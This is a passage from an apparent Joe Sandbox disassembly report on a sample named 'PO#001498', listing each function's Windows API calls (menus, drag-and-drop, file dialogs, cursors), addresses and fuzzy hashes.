                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessagePost$CtrlFocus
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 1534620443-4108050209
                                                                                                                                                                                • Opcode ID: a7e7dd4ad94bd17b8779821b2562c3e74f4a4d43059232d4a161c8df91f382bc
                                                                                                                                                                                • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                                                                                                                                                                                • Opcode Fuzzy Hash: a7e7dd4ad94bd17b8779821b2562c3e74f4a4d43059232d4a161c8df91f382bc
                                                                                                                                                                                • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                                                                                                                                                                                Function 004680EB Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 204windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 00468107
                                                                                                                                                                                • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                                                                                                                                                                                • GetMenuItemCount.USER32(?), ref: 00468227
                                                                                                                                                                                • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                                                                                                                                                                                • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                                                                                                                                                                                • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                                                                                                                                                                                • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                                                                                                                                                                                • GetMenuItemCount.USER32 ref: 004682DC
                                                                                                                                                                                • SetMenuItemInfoW.USER32 ref: 00468317
                                                                                                                                                                                • GetCursorPos.USER32(00000000), ref: 00468322
                                                                                                                                                                                • SetForegroundWindow.USER32(?), ref: 0046832D
                                                                                                                                                                                • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                                                                                                                                                                                • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 3993528054-4108050209
                                                                                                                                                                                • Opcode ID: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                                                • Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
                                                                                                                                                                                • Opcode Fuzzy Hash: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                                                • Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                                                                                                                                                                                Function 0046F2B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185windowfileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                                                                                                                                                                  • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                                  • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                                  • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                                • SendMessageW.USER32(?), ref: 0046F34C
                                                                                                                                                                                • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                                                                                                                                                                                • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                                                                                                                                                                                • _wcscat.LIBCMT ref: 0046F3BC
                                                                                                                                                                                • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                                                                                                                                                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                                                                                                                                                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                                                                                                                                                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                                                                                                                                                                                • DragFinish.SHELL32(?), ref: 0046F414
                                                                                                                                                                                • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
                                                                                                                                                                                • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                                                                                                • API String ID: 4085615965-3440237614
                                                                                                                                                                                • Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                                                • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                                                                                                                                                                                • Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                                                • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                                                                                                                                                                                Function 0044B988 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 73COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wcsicoll
                                                                                                                                                                                • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                                                                                                                                                                • API String ID: 3832890014-4202584635
                                                                                                                                                                                • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                                • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                                                                                                                                                                                • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                                • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                                                                                                                                                                                Function 00466999 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 312COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 004669C4
                                                                                                                                                                                • _wcsncpy.LIBCMT ref: 00466A21
                                                                                                                                                                                • _wcsncpy.LIBCMT ref: 00466A4D
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                • _wcstok.LIBCMT ref: 00466A90
                                                                                                                                                                                  • Part of subcall function 004142A3: __getptd.LIBCMT ref: 004142A9
                                                                                                                                                                                • _wcstok.LIBCMT ref: 00466B3F
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 00466BC8
                                                                                                                                                                                • GetOpenFileNameW.COMDLG32(00000058), ref: 00466CFE
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00466D1D
                                                                                                                                                                                • _memset.LIBCMT ref: 00466BEE
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00466D4B
                                                                                                                                                                                • GetSaveFileNameW.COMDLG32(00000058), ref: 00466D9E
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcslen$FileName_memset_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                                                                                                                                                                                • String ID: X$HH
                                                                                                                                                                                • API String ID: 3021350936-1944015008
                                                                                                                                                                                • Opcode ID: 148ffd08a53066c169799d7010fd2328abbb1436974d200da898f01e024381e3
                                                                                                                                                                                • Instruction ID: 73e83d7ea4d12cbe09e247b0b8120e99e9ae8af51722f6ce2f45a1bbad6557a4
                                                                                                                                                                                • Opcode Fuzzy Hash: 148ffd08a53066c169799d7010fd2328abbb1436974d200da898f01e024381e3
                                                                                                                                                                                • Instruction Fuzzy Hash: D1C1B2715043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB9B
                                                                                                                                                                                Function 0045F48E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226windowsleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 0045F4AE
                                                                                                                                                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                                                                                                                                                                                • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                                                                                                                                                                                • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: InfoItemMenu$Sleep_memset
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 1504565804-4108050209
                                                                                                                                                                                • Opcode ID: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                                                • Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
                                                                                                                                                                                • Opcode Fuzzy Hash: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                                                • Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                                                                                                                                                                                Function 004556F8 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 216COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DestroyWindow.USER32(?,004A83D8,?), ref: 00455800
                                                                                                                                                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 00455847
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$CreateDestroy
                                                                                                                                                                                • String ID: ,$tooltips_class32
                                                                                                                                                                                • API String ID: 1109047481-3856767331
                                                                                                                                                                                • Opcode ID: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                                                • Instruction ID: af4df8b80438f92fd5356fe82daba85812243c44dff517d7eb602cf52e2cfce3
                                                                                                                                                                                • Opcode Fuzzy Hash: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                                                • Instruction Fuzzy Hash: BF719075244704AFE320DB28CC85F7B77E4EB89700F50491EFA8197391E6B5E905CB59
                                                                                                                                                                                Function 0045CBCC Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _wcsncpy.LIBCMT ref: 0045CCFA
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 0045CD3C
                                                                                                                                                                                • _wcscat.LIBCMT ref: 0045CD51
                                                                                                                                                                                • _wcscat.LIBCMT ref: 0045CD63
                                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000104,?), ref: 0045CD78
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000104,?), ref: 0045CD8C
                                                                                                                                                                                  • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDD0
                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDE6
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDF8
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 0045CE08
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 0045CE14
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CE5A
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                                                                                                                                                                                • String ID: *.*
                                                                                                                                                                                • API String ID: 1153243558-438819550
                                                                                                                                                                                • Opcode ID: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                                                • Instruction ID: 4b7f18f3392d5c51d0b0bcfc25b88d1348604f1c1aa494fd035d881d108a9fe9
                                                                                                                                                                                • Opcode Fuzzy Hash: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                                                • Instruction Fuzzy Hash: 0561E5B61043419FD731EF54C885AEBB7E4EB84305F44882FED8983242D67D998E879E
                                                                                                                                                                                Function 0045510D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 115windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 00455127
                                                                                                                                                                                • GetMenuItemInfoW.USER32 ref: 00455146
                                                                                                                                                                                • DeleteMenu.USER32(?,?,00000000), ref: 004551B2
                                                                                                                                                                                • DeleteMenu.USER32(?,?,00000000), ref: 004551C8
                                                                                                                                                                                • GetMenuItemCount.USER32(?), ref: 004551D9
                                                                                                                                                                                • SetMenu.USER32(?,00000000), ref: 004551E7
                                                                                                                                                                                • DestroyMenu.USER32(?,?,00000000), ref: 004551F4
                                                                                                                                                                                • DrawMenuBar.USER32 ref: 00455207
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 1663942905-4108050209
                                                                                                                                                                                • Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                                                • Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
                                                                                                                                                                                • Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                                                • Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9
                                                                                                                                                                                Function 00415C25 Relevance: 22.7, APIs: 15, Instructions: 236COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1481289235-0
                                                                                                                                                                                • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                                • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                                                                                                                                                                                • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                                • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                                                                                                                                                                                Function 0046FB53 Relevance: 22.7, APIs: 15, Instructions: 176windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 0046FB61
                                                                                                                                                                                • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 0046FB7A
                                                                                                                                                                                • SendMessageW.USER32 ref: 0046FBAF
                                                                                                                                                                                • SendMessageW.USER32 ref: 0046FBE2
                                                                                                                                                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001), ref: 0046FC1B
                                                                                                                                                                                • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0046FC3E
                                                                                                                                                                                • ImageList_Create.COMCTL32(00000020,00000020,00000021,?,00000001), ref: 0046FC51
                                                                                                                                                                                • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 0046FC73
                                                                                                                                                                                • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FC97
                                                                                                                                                                                • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FCA5
                                                                                                                                                                                • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$IconImageList_$CreateExtractReplace
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2632138820-0
                                                                                                                                                                                • Opcode ID: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                                                • Instruction ID: f8b2170a3f6480226351c2682443129a31dd3945ebd2779c8b18a40e734619f9
                                                                                                                                                                                • Opcode Fuzzy Hash: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                                                • Instruction Fuzzy Hash: A461BF70208305AFD320DF14DC85F5BB7E4FB89B14F10492EFA85972D1E7B4A8498B66
                                                                                                                                                                                Function 00433BAC Relevance: 22.6, APIs: 15, Instructions: 79COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                                                                                                                                                                                Memory Dump Source
